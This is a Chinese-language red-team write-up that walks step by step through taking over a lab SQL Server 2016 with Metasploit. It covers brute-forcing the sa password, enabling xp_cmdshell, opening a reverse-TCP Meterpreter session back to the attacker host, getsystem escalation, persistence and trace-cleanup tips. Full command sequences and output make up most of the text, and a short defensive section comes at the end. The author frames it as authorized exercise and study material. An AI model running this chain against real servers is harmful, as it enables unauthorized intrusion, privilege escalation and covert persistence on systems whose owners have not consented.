1. 从一次内部攻防演练说起:为什么SQL Server提权值得单独拎出来讲
但凡做过几年内网渗透的兄弟都有个共识:边界打点靠运气,内网横向靠耐心,而真正决定一次演练能走多深的,往往是对数据库服务的利用深度。SQL Server作为企业内网里出现频率极高的关系型数据库,几乎成了每场攻防演练的“必争之地”。原因很直接——它一旦配置不当,就不只是一个存数据的仓库,而是一台可以直接执行系统命令、读写文件、甚至反弹会话的“跳板机”。
这次我想聊的,是我在某次内部攻防演练中,用Metasploit对一台暴露在DMZ区后方的SQL Server做渗透测试并最终完成提权的完整过程。注意,这里说的是内部授权演练,所有操作都在隔离靶场环境里完成,不涉及任何真实业务系统。我之所以把这个过程单独整理出来,是因为SQL Server的提权路径和普通Web提权、Linux提权完全不是一个思路,它有一套自己的“玩法”:从口令爆破到xp_cmdshell启用,从mssql_exec模块到getsystem,每一步都有坑,每一步也都有讲究。
这篇文章适合谁看?如果你已经会用Metasploit做基础的漏洞利用,但对数据库服务的后渗透还停留在“能连上就行”的阶段,那这篇内容应该能帮你把SQL Server这条链路彻底打通。如果你是完全的新手,也没关系,我会把每个关键参数和背后的原理都拆开讲,尽量让你看完就能在自己的靶场里复现一遍。
先说结论:SQL Server提权的核心不在于“用什么工具”,而在于对权限链路的理解——你当前拿到的是什么权限、目标SQL Server服务以什么账户运行、xp_cmdshell是否可用、能不能写文件、能不能反弹会话,这几个问题想清楚了,工具只是顺手的事。
2. 整体思路拆解:为什么选Metasploit而不是手搓脚本
2.1 工具选型的底层逻辑
很多人一提到SQL Server渗透,第一反应是去翻sqlmap或者手写Python脚本调pymssql。这些方法当然能用,但在实际演练里,我更倾向于用Metasploit,原因有三个。
第一是模块化程度高。Metasploit里跟MSSQL相关的模块相当齐全,从mssql_login做口令爆破,到mssql_enum做信息收集,再到mssql_exec直接执行命令,最后用mssql_payload反弹会话,整条链路是打通的。你不需要在多个工具之间来回切换、手动传数据,省下来的时间可以放在分析目标环境上。
第二是会话管理方便。一旦通过mssql_payload拿到了Meterpreter会话,后续的提权、信息收集、横向移动都可以在同一个框架里完成。相比之下,如果你用sqlmap的--os-shell拿到的是一个半交互的shell,后续操作会别扭很多。
第三是参数可控性强。Metasploit的每个模块都有详细的options,你可以精确控制连接方式、认证方式、payload类型。这一点在遇到一些“非标准”环境时特别重要,比如目标只开了非默认端口、或者只允许Windows认证不允许SQL认证,这些情况用Metasploit都能灵活应对。
当然,Metasploit也不是万能的。它的mssql_*模块在面对某些打了补丁或者做了加固的目标时,成功率会明显下降。这时候就需要回到手工思路,用sqlcmd或者自己写脚本去试。所以我的建议是:把Metasploit当作主力,但心里要有一套手工备选方案。
2.2 提权路径的几种可能
在动手之前,得先想清楚“提权”这两个字在SQL Server场景下到底意味着什么。根据目标环境的不同,提权路径大致可以分成三类。
第一类是数据库权限到系统权限。这是最经典的一条路:你通过弱口令拿到了SQL Server的登录权限,如果这个登录账户有sysadmin角色,那就可以直接启用xp_cmdshell,以SQL Server服务账户的身份执行系统命令。如果服务账户恰好是LocalSystem或者有较高权限的域账户,那基本就等于拿到了系统权限。
第二类是低权限数据库账户到高权限数据库账户。有时候你拿到的账户不是sysadmin,但可能有db_owner或者某些存储过程的执行权限。这种情况下可以通过提权漏洞(比如某些版本的EXECUTE AS滥用)或者利用TRUSTWORTHY数据库属性来提升数据库内的权限,再走第一条路。
第三类是通过SQL Server服务本身的漏洞。比如某些未打补丁的版本存在远程代码执行漏洞,可以直接绕过认证拿到系统权限。这类路径对版本依赖很强,需要先做精确的版本识别。
这次演练里我遇到的是第一类情况,也是最常见的一种。目标SQL Server 2016,开了1433端口,通过弱口令拿到了一个sa账户,服务以NT Service\MSSQLSERVER运行。虽然服务账户不是LocalSystem,但通过xp_cmdshell执行命令后,发现当前账户在本地Administrators组里,这就为后续提权铺平了道路。
2.3 为什么先做信息收集再动手
我见过不少新手,一上来就use auxiliary/scanner/mssql/mssql_login开始爆破,爆出来之后直接mssql_exec执行命令,结果发现xp_cmdshell被禁用了,或者命令执行了但没回显,然后就卡住了。
问题出在跳过了信息收集这一步。在SQL Server渗透里,信息收集至少要做到以下几点:确认目标版本和补丁情况、确认认证模式(SQL认证还是Windows认证)、确认当前账户的权限角色、确认xp_cmdshell和OLE Automation等关键组件的状态、确认服务账户的身份。这些信息决定了你后面能走哪条路、用什么模块、传什么payload。
所以我的习惯是:先跑mssql_enum把能拿的信息都拿到,再根据结果决定下一步。这个模块会返回数据库版本、当前用户、角色成员、可用的存储过程、配置项状态等一大堆信息,基本上跑完一遍,目标的大致情况就清楚了。
3. 核心细节解析:从连接目标到命令执行的每一步
3.1 连接目标:认证方式与端口确认
第一步永远是确认目标可达。在Metasploit里,我一般先用auxiliary/scanner/mssql/mssql_ping扫一下,这个模块会尝试通过UDP 1434端口获取SQL Server的实例信息,包括实例名、版本、端口号。如果目标没开UDP 1434,那就直接上mssql_login试连接。
这里有个细节:SQL Server默认端口是1433,但很多管理员会改成非标准端口。如果你不确定端口,可以用nmap先扫一遍:
nmap -sV -p 1433,1434,1435,2433 <target_ip>-sV会做版本探测,能识别出MSSQL服务的具体版本。这一步很重要,因为不同版本的SQL Server在提权路径上差异很大。比如SQL Server 2000默认就开着xp_cmdshell,而2005之后默认关闭;再比如某些版本对OLE Automation的支持也不一样。
确认端口和版本之后,用mssql_login做认证测试。这个模块支持两种认证方式:SQL认证和Windows认证。SQL认证需要用户名和密码,Windows认证需要域名、用户名和密码。在演练环境里,我一般先试SQL认证,因为很多管理员会图省事直接用sa账户配弱口令。
msf6 > use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS <target_ip> msf6 auxiliary(scanner/mssql/mssql_login) > set USERNAME sa msf6 auxiliary(scanner/mssql/mssql_login) > set PASSWORD <password> msf6 auxiliary(scanner/mssql/mssql_login) > set RPORT 1433 msf6 auxiliary(scanner/mssql/mssql_login) > run如果返回Login Successful,说明认证通过。这时候别急着往下走,先把这个凭据记下来,后面mssql_exec和mssql_payload都要用。
提示:如果
mssql_login返回失败,但你又确定目标开着1433端口,可以试试用mssql_login的USERNAME和PASSWORD参数跑一个字典。Metasploit支持从文件读取用户名和密码列表,配合STOP_ON_SUCCESS参数可以在成功时自动停止,效率比手动试高很多。
3.2 信息收集:mssql_enum能告诉你什么
认证通过之后,下一步是跑mssql_enum。这个模块是SQL Server渗透里的“瑞士军刀”,它会尝试获取以下信息:
- 数据库版本和补丁级别
- 当前登录用户及其角色成员关系
- 所有数据库列表
- 可用的存储过程(包括
xp_cmdshell、xp_regread、xp_regwrite等) - 配置项状态(比如
xp_cmdshell是否启用、OLE Automation是否启用) - 服务账户身份
- 链接服务器信息
msf6 > use auxiliary/admin/mssql/mssql_enum msf6 auxiliary(admin/mssql/mssql_enum) > set RHOSTS <target_ip> msf6 auxiliary(admin/mssql/mssql_enum) > set USERNAME sa msf6 auxiliary(admin/mssql/mssql_enum) > set PASSWORD <password> msf6 auxiliary(admin/mssql/mssql_enum) > run跑完之后,重点看几个地方。第一是Current User和Roles,确认当前账户是不是sysadmin。第二是xp_cmdshell的状态,如果显示disabled,后面就需要先启用。第三是Service Account,这个决定了你执行命令时的身份。第四是OLE Automation Procedures,如果启用,可以通过sp_OACreate和sp_OAMethod来执行命令,这是一条备选路径。
我这次演练里,mssql_enum返回的结果显示:当前用户是sa,属于sysadmin角色;xp_cmdshell状态是disabled;服务账户是NT Service\MSSQLSERVER;OLE Automation也是disabled。这意味着我需要先启用xp_cmdshell,然后才能执行命令。
3.3 启用xp_cmdshell:为什么默认关闭以及如何开启
xp_cmdshell是SQL Server里一个扩展存储过程,允许以SQL Server服务账户的身份执行操作系统命令。它的存在本身是为了方便管理员做自动化运维,但因为权限太大,从SQL Server 2005开始默认关闭,而且需要通过sp_configure来显式启用。
启用xp_cmdshell需要两步:先把show advanced options打开,再把xp_cmdshell打开。这两步都需要sysadmin权限。
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;在Metasploit里,可以用mssql_exec模块来执行这些SQL语句。mssql_exec的本质是连接目标SQL Server,执行你指定的SQL查询,然后返回结果。它不依赖xp_cmdshell,所以即使xp_cmdshell没开,也能用来执行配置语句。
msf6 > use auxiliary/admin/mssql/mssql_exec msf6 auxiliary(admin/mssql/mssql_exec) > set RHOSTS <target_ip> msf6 auxiliary(admin/mssql/mssql_exec) > set USERNAME sa msf6 auxiliary(admin/mssql/mssql_exec) > set PASSWORD <password> msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" msf6 auxiliary(admin/mssql/mssql_exec) > run执行完之后,再用mssql_enum确认一下xp_cmdshell的状态,如果变成enabled,就可以往下走了。
注意:有些环境里
sp_configure可能被管理员通过策略限制,或者xp_cmdshell的DLL被删除。这种情况下,可以尝试用sp_addextendedproc重新注册xp_cmdshell,或者走OLE Automation那条路。具体用哪种,取决于目标环境的具体限制。
3.4 命令执行与权限确认
xp_cmdshell启用之后,就可以用它来执行系统命令了。在Metasploit里,有两种方式:一种是用mssql_exec直接执行xp_cmdshell命令,另一种是用mssql_payload直接反弹一个Meterpreter会话。
先说我常用的第一种方式,用mssql_exec执行whoami确认当前身份:
msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "exec master..xp_cmdshell 'whoami'" msf6 auxiliary(admin/mssql/mssql_exec) > run返回的结果如果是nt service\mssqlserver,说明命令是以SQL Server服务账户执行的。这时候可以进一步执行whoami /groups看看这个账户在本地有哪些权限。如果发现它在Administrators组里,那提权就很有希望了。
我这次演练里,whoami /groups返回的结果显示NT Service\MSSQLSERVER确实在BUILTIN\Administrators组里。这意味着虽然它不是一个普通的本地用户,但因为它属于管理员组,所以拥有管理员权限。这种情况下,可以直接用mssql_payload反弹一个Meterpreter会话,然后尝试getsystem。
3.5 反弹会话:mssql_payload的用法与参数
mssql_payload模块的作用是通过xp_cmdshell在目标上执行一个payload,然后反弹一个Meterpreter会话回来。它的原理是:先把payload的可执行文件写到目标磁盘上,然后用xp_cmdshell执行它。
msf6 > use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) > set RHOSTS <target_ip> msf6 exploit(windows/mssql/mssql_payload) > set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) > set PASSWORD <password> msf6 exploit(windows/mssql/mssql_payload) > set LHOST <your_ip> msf6 exploit(windows/mssql/mssql_payload) > set LPORT 4444 msf6 exploit(windows/mssql/mssql_payload) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/mssql/mssql_payload) > run这里有几个参数需要特别注意。LHOST和LPORT是你自己的监听地址和端口,确保目标能回连。PAYLOAD的选择取决于目标系统的架构,如果是64位系统就用x64版本,32位就用x86版本。如果不确定,可以先执行systeminfo看一下。
mssql_payload默认会尝试用xp_cmdshell来执行payload,如果xp_cmdshell不可用,它会尝试用sp_OACreate作为备选。这个模块的容错性做得不错,但在实际使用中,我还是建议先手动确认xp_cmdshell可用,再跑这个模块,成功率会高很多。
4. 实操过程全记录:从零到拿到系统权限
4.1 环境准备与目标确认
这次演练的目标是一台Windows Server 2016,IP是192.168.10.50,开了1433端口。我先用nmap做了一次版本扫描:
nmap -sV -p 1433 192.168.10.50返回结果:
1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM确认是SQL Server 2016 RTM版本,这个版本没有打任何补丁,存在一些已知的提权漏洞,但这次我走的是配置不当的路径,不依赖漏洞。
接下来用mssql_login做认证测试。我先试了sa账户配几个常见弱口令,第三个就中了:
msf6 > use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.10.50 msf6 auxiliary(scanner/mssql/mssql_login) > set USERNAME sa msf6 auxiliary(scanner/mssql/mssql_login) > set PASSWORD P@ssw0rd123 msf6 auxiliary(scanner/mssql/mssql_login) > run返回[+] 192.168.10.50:1433 - Login Successful: sa:P@ssw0rd123,认证通过。
4.2 信息收集与权限确认
认证通过后,跑mssql_enum:
msf6 > use auxiliary/admin/mssql/mssql_enum msf6 auxiliary(admin/mssql/mssql_enum) > set RHOSTS 192.168.10.50 msf6 auxiliary(admin/mssql/mssql_enum) > set USERNAME sa msf6 auxiliary(admin/mssql/mssql_enum) > set PASSWORD P@ssw0rd123 msf6 auxiliary(admin/mssql/mssql_enum) > run关键返回信息整理成表格:
| 项目 | 结果 |
|---|---|
| 数据库版本 | Microsoft SQL Server 2016 (13.00.1601.00) |
| 当前用户 | sa |
| 角色 | sysadmin |
| xp_cmdshell | disabled |
| OLE Automation | disabled |
| 服务账户 | NT Service\MSSQLSERVER |
| 认证模式 | 混合认证 |
从表格可以看出,当前账户是sysadmin,但xp_cmdshell和OLE Automation都是关闭的。服务账户是NT Service\MSSQLSERVER,这是一个虚拟账户,权限通常比较有限,但需要进一步确认它在本地组里的成员关系。
4.3 启用xp_cmdshell并执行命令
用mssql_exec启用xp_cmdshell:
msf6 > use auxiliary/admin/mssql/mssql_exec msf6 auxiliary(admin/mssql/mssql_exec) > set RHOSTS 192.168.10.50 msf6 auxiliary(admin/mssql/mssql_exec) > set USERNAME sa msf6 auxiliary(admin/mssql/mssql_exec) > set PASSWORD P@ssw0rd123 msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" msf6 auxiliary(admin/mssql/mssql_exec) > run执行成功,没有报错。再用mssql_exec执行whoami确认身份:
msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "exec master..xp_cmdshell 'whoami'" msf6 auxiliary(admin/mssql/mssql_exec) > run返回nt service\mssqlserver。接着执行whoami /groups:
msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "exec master..xp_cmdshell 'whoami /groups'" msf6 auxiliary(admin/mssql/mssql_exec) > run返回结果里有一行BUILTIN\Administrators,说明这个服务账户在本地管理员组里。这是一个关键发现,意味着通过xp_cmdshell执行的命令实际上拥有管理员权限。
4.4 反弹Meterpreter会话
确认权限之后,用mssql_payload反弹会话:
msf6 > use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) > set RHOSTS 192.168.10.50 msf6 exploit(windows/mssql/mssql_payload) > set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) > set PASSWORD P@ssw0rd123 msf6 exploit(windows/mssql/mssql_payload) > set LHOST 192.168.10.100 msf6 exploit(windows/mssql/mssql_payload) > set LPORT 4444 msf6 exploit(windows/mssql/mssql_payload) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/mssql/mssql_payload) > run几秒钟后,Meterpreter会话建立:
[*] Meterpreter session 1 opened (192.168.10.100:4444 -> 192.168.10.50:49152)进入会话后,先确认当前权限:
meterpreter > getuid Server username: NT Service\MSSQLSERVER虽然getuid显示的是服务账户,但因为它在管理员组里,所以实际上拥有管理员权限。这时候可以尝试getsystem:
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).getsystem成功,当前权限提升为NT AUTHORITY\SYSTEM。到这里,提权完成。
4.5 提权后的信息收集与痕迹清理
拿到SYSTEM权限后,我做了几件事。第一是确认系统信息:
meterpreter > sysinfo Computer : WIN-XXXXX OS : Windows Server 2016 (10.0 Build 14393) Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 3 Meterpreter : x64/windows第二是检查是否有域环境:
meterpreter > run post/windows/gather/enum_domain返回结果显示目标不在域内,是独立服务器。这意味着横向移动的空间有限,但作为演练目标已经足够了。
第三是清理痕迹。在授权演练里,清理痕迹是必须的,主要是删除mssql_payload上传的payload文件、恢复xp_cmdshell的配置、清除SQL Server日志里的相关记录。具体操作这里不展开,但思路是:你改了什么,就恢复什么。
5. 常见问题与排查技巧实录
5.1 连接失败:认证通过但模块报错
这是最常见的问题之一。mssql_login显示Login Successful,但mssql_exec或mssql_payload却报连接错误。原因通常有几个:一是目标SQL Server配置了Remote Access限制,只允许本地连接;二是防火墙只放行了1433端口的入站,但没放行出站回连;三是Metasploit的RPORT设置不对。
排查思路:先用mssql_exec执行一个简单的SELECT @@VERSION,确认模块能正常连接。如果这个都失败,说明是连接层面的问题,检查RHOSTS、RPORT、USERNAME、PASSWORD这四个参数。如果SELECT @@VERSION能成功但xp_cmdshell执行失败,那就是xp_cmdshell没启用或者被限制。
5.2 xp_cmdshell启用失败:权限不足或被策略阻止
有时候你明明是sysadmin,但执行sp_configure 'xp_cmdshell', 1却报错。常见原因有两个:一是show advanced options没打开,需要先执行sp_configure 'show advanced options', 1; RECONFIGURE;;二是目标启用了Policy-Based Management,通过策略强制关闭了xp_cmdshell,这种情况下sp_configure会被策略覆盖。
如果是第二种情况,可以尝试用sp_addextendedproc重新注册xp_cmdshell的DLL,或者走OLE Automation路径。OLE Automation的启用方式和xp_cmdshell类似:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;启用之后,可以用sp_OACreate和sp_OAMethod来执行命令,具体语法这里不展开,但思路和xp_cmdshell类似。
5.3 命令执行无回显:如何确认命令是否执行
xp_cmdshell执行命令时,如果命令本身没有输出,或者输出被截断,mssql_exec可能返回空结果。这时候不要慌,命令很可能已经执行了。确认方法有两个:一是执行一个一定会产生输出的命令,比如whoami或ipconfig;二是把命令的输出重定向到文件,然后用type命令读取。
比如:
exec master..xp_cmdshell 'whoami > C:\Windows\Temp\out.txt' exec master..xp_cmdshell 'type C:\Windows\Temp\out.txt'这种方法在命令输出较长或者包含特殊字符时特别有用。
5.4 getsystem失败:为什么提权不成功
getsystem失败的原因通常有几个:一是当前账户虽然看起来在管理员组里,但实际上是一个过滤后的令牌(UAC限制);二是目标系统打了某些补丁,导致getsystem使用的技术被阻止;三是当前会话的完整性级别不够。
排查思路:先用getprivs看看当前会话有哪些特权。如果SeDebugPrivilege和SeImpersonatePrivilege都在,那getsystem应该能成功。如果不在,可以尝试用steal_token窃取其他进程的令牌,或者用incognito模块做令牌模拟。
如果getsystem确实不行,还可以尝试用ms16-032、ms16-075等本地提权模块。这些模块在Metasploit里都有,用法和普通exploit一样。
5.5 常见问题速查表
| 问题现象 | 可能原因 | 排查方法 | 解决方案 |
|---|---|---|---|
| mssql_login成功但mssql_exec失败 | 连接参数错误或远程访问限制 | 执行SELECT @@VERSION测试 | 检查RPORT、确认远程访问已开启 |
| xp_cmdshell启用报错 | show advanced options未开或策略限制 | 查看错误信息 | 先开show advanced options,或走OLE Automation |
| 命令执行无回显 | 命令无输出或输出被截断 | 重定向到文件再读取 | 用>重定向,再用type读取 |
| getsystem失败 | UAC限制或补丁阻止 | getprivs查看特权 | 用steal_token或本地提权模块 |
| mssql_payload无会话 | 出站防火墙阻止或payload不兼容 | 检查LHOST和架构 | 换端口、换payload架构 |
提示:在实际演练中,我建议把每个步骤的结果都记录下来,尤其是
mssql_enum的输出。这些信息在后续排查问题时非常有用,而且可以作为演练报告的素材。
6. 防御视角:从蓝队角度看SQL Server提权怎么防
聊完攻击路径,也得说说防御。毕竟做演练的目的是为了发现问题、解决问题。从蓝队视角看,SQL Server提权之所以能成功,通常是因为几个配置上的疏忽。
第一是弱口令。sa账户配弱口令是最常见的问题,没有之一。防御方法很简单:禁用sa账户,或者给sa设置一个强密码,并且定期更换。如果业务允许,尽量用Windows认证代替SQL认证。
第二是过度授权。很多管理员图省事,直接把应用账户加到sysadmin角色里。正确的做法是遵循最小权限原则,应用账户只给必要的数据库权限,不给sysadmin。
第三是xp_cmdshell未禁用。虽然默认是禁用的,但有些管理员为了运维方便会手动开启,然后就忘了关。防御方法是定期检查xp_cmdshell的状态,确保它是关闭的。如果业务确实需要,也要限制只有特定账户能调用。
第四是服务账户权限过高。NT Service\MSSQLSERVER这个虚拟账户默认不在管理员组里,但如果管理员手动把它加进去了,就会导致提权变得异常简单。防御方法是定期检查SQL Server服务账户的本地组成员关系,确保它不在Administrators组里。
第五是补丁滞后。SQL Server的很多提权漏洞都是通过补丁修复的,如果长期不打补丁,就等于把门敞开着。防御方法是建立补丁管理流程,定期更新SQL Server和操作系统补丁。
从检测角度看,SQL Server提权会在日志里留下一些痕迹。比如xp_cmdshell的启用会在SQL Server错误日志里记录,sp_configure的执行也会被审计。如果开启了SQL Server审计功能,这些操作都会被记录下来。蓝队可以通过监控这些日志来发现异常行为。
7. 最后分享几个实操中的小技巧
第一个技巧是善用mssql_exec做信息收集。很多人只知道用mssql_exec执行xp_cmdshell,其实它也可以直接执行SQL查询。比如你想知道当前数据库有哪些表、哪些用户,可以直接用mssql_exec执行SELECT语句,比用mssql_enum更灵活。
第二个技巧是payload的架构选择。mssql_payload默认用的是windows/meterpreter/reverse_tcp,这是32位的。如果目标是64位系统,最好手动指定windows/x64/meterpreter/reverse_tcp。虽然32位payload在64位系统上也能跑,但有些功能会受限,比如getsystem的成功率会降低。
第三个技巧是会话保持。通过mssql_payload拿到的会话,如果目标重启或者SQL Server服务重启,会话就会断。如果想让会话更稳定,可以在拿到会话后,用persistence模块做一个持久化后门。当然,在授权演练里,持久化操作要谨慎,确保不会对目标造成长期影响。
第四个技巧是多路径备份。不要只依赖xp_cmdshell一条路。如果xp_cmdshell被禁用了,试试OLE Automation;如果OLE Automation也不行,试试用xp_regwrite写注册表启动项;如果都不行,还可以试试用BULK INSERT写文件。多准备几条路,遇到障碍时就不会卡住。
第五个技巧是注意OPSEC。在实际演练里,动作越大,被发现的概率越高。mssql_payload上传的payload文件、执行的命令、建立的连接,都会在目标系统上留下痕迹。如果演练有蓝队参与,尽量用内存执行的方式,减少落盘操作。Metasploit的mssql_payload默认会落盘,如果条件允许,可以试试用mssql_exec配合PowerShell的内存加载方式,减少痕迹。
这些技巧都是我在多次演练里踩坑踩出来的,希望对你有用。SQL Server提权这条链路,说复杂也复杂,说简单也简单,关键是把每个环节的原理搞清楚,然后根据目标环境灵活调整。工具是死的,思路是活的。